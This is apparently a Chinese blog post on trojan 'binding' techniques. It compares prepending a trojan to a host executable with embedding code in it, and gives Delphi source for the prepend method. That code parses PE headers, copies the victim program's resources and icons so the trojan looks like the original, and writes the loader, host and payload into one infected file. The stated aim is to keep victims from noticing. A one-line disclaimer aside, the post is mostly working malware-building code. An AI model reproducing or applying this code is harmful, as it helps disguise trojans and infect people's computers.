最近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式
第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马
然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法
这种方式有缺点也有优点
优点是:
可以捆绑任何程序
缺点是:
运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢
实现方法:( Demo下载)
如果不改变图标,实现方法是非常简单的。
用文件流的方式 把目标程序写在木马程序后面
这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错
(目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标
和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)
请勿用于病毒传播,这里只贴出核心代码
【全文】
function Align(Size, AlignBase: integer): Integer;
begin
if Size mod AlignBase <> 0 then
Result := (Trunc(Size / AlignBase) + 1) * AlignBase
else
Result := Size;
end;
procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);
var
I:integer;
DosHeader: TImageDosHeader;
NTHeader: TImageNtHeaders; {NtHeader}
dRead: DWORD;
begin
SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);
ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);
//非PE 退出
if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;
SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);
ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);
//非PE 退出
if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;
SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do
begin
ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);
if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then
begin
SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);
SetLength(AStream, ASectionHeader.SizeOfRawData);
ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);
Exit;
end;
end;
end;
function StripHighBit(L: Longint): DWORD;
begin
Result := L and $7FFFFFFF;
end;
function HighBitSet(L: Longint): Boolean;
begin
Result := (L and $80000000) <> 0;
end;
function IsDirectory(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;
begin
Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);
end;
function ResourceDataEntry(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD):PImageResourceDataEntry;
begin
Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);
end;
function FixRsrc(ResourceDirectory:PImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;
var
I: Integer;
ResourceDirectoryEntry:PImageResourceDirectoryEntry;
Data: PImageResourceDataEntry;
begin
Result := True;
ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)
+ SizeOf(TImageResourceDirectory));
for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do
begin
if IsDirectory(ResourceDirectoryEntry, BaseEntry) then
begin
{目录递归调用,把下级的资源列出来}
FixRsrc(PImageResourceDirectory(StripHighBit(
ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),
BaseEntry, OldVA, NewVA);
end
else
begin
{资源}
Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);
//修正RVA
Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA;
end;
inc(ResourceDirectoryEntry);
end;
end;
function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;
var
F,F1,F2: THandle;
dRead: DWORD;
fsDes, fsSrc, len, i, lastPos, oldSize: integer;
pRsrc,LoadStream: PStream;
DosHeader: PImageDosHeader;
NTHeader: PImageNtHeaders; {NtHeader}
pSH,pSectionHeader: PImageSectionHeader;
SectionHeader: TImageSectionHeader;
Section: PSections;
fectStream : TResourceStream;
begin
Result := '';
pRsrc := nil;
//打开需要感染的目标文件
F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
try
if F = INVALID_HANDLE_VALUE then
begin
Result := '打开目标文件失败!';
Exit;
end;
//获取目标程序的资源文件
GetRsrcStream(F, pRsrc, SectionHeader);
//如果没有资源文件则退出
if pRsrc = nil then
begin
Result := '读取目标文件资源失败!';
Exit;
end;
//读取附加程序流
fectStream := TResourceStream.Create(HInstance,'exe','exetype');
try
fsSrc := fectStream.Size;
SetLength(LoadStream, fectStream.Size);
fectStream.ReadBuffer(LoadStream[0], fectStream.Size);
finally
fectStream.Free;
end;
DosHeader := PImageDosHeader(LoadStream);
NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);
pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader
Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项
for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do
begin
//比较是否是指定的节名,如“.rsrc”
if Strlicomp(@pSectionHeader^.Name, PChar('.rsrc'), IMAGE_SIZEOF_SHORT_NAME) = 0 then
begin
oldSize := pSectionHeader^.SizeOfRawData;
//修正资源大小
pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;
pSectionHeader^.Misc := SectionHeader.Misc;
break; //找到了,则退出
end;
Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader)
end;
//修复资源
if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),
SectionHeader.VirtualAddress,
pSectionHeader^.VirtualAddress) then Exit;
NTHeader^.OptionalHeader.DataDirectory[2].Size := SectionHeader.Misc.VirtualSize;
NTHeader^.OptionalHeader.SizeOfImage :=
+ Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment);
F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
try
if F1 = INVALID_HANDLE_VALUE then
begin
Result := '创建新文件失败!';
Exit;
end;
F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
try
if F2 = INVALID_HANDLE_VALUE then
begin
Result := '读取目标文件失败!';
Exit;
end;
fsDes := GetFileSize(F, nil);
Section := PSections(@LoadStream[$70]);
Section^.GUID := $58585858;
Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize);
fsSrc := GetFileSize(F2, nil);
Section^.FirstSize := fsSrc;
Section^.LastOffset := Section^.FirstOffset + fsSrc;
Section^.LastSize := fsDes;
//写入头部文件
WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil);
WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);
repeat
ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);
WriteFile(F1, LoadStream[0], dRead, dRead, nil);
until dRead = 0;
SetFilePointer(F, 0, nil, FILE_BEGIN);
repeat
ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil);
WriteFile(F1, LoadStream[0], dRead, dRead, nil);
until dRead = 0;
finally
CloseHandle(F2);
end;
finally
CloseHandle(F1);
end;
finally
CloseHandle(F);
SetLength(LoadStream, 0);
SetLength(pRsrc, 0);
end;
end;
第二程度方式 就是将代码内嵌到目标程序。
也同样有缺点优点
优点是
首先运行的是目标程序。然后再运行木马程序,让人根本无法察觉
缺点是
只能感染部分程序